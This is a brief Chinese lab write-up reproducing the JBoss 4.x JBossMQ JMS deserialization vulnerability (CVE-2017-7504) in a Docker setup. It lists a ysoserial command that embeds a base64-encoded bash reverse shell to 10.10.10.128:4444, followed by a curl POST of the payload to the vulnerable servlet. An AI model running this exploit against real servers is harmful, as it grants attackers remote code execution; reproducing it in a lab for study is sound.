JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
Red Hat JBoss Application Server是一款JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServer1LServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
cd jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
- 将要反弹的shell使用网站进行编译
- 使用ysoserial工具
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
- 将生成的poc.ser当中POST中的数据
curl http://10.10.10.10:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
反弹成功！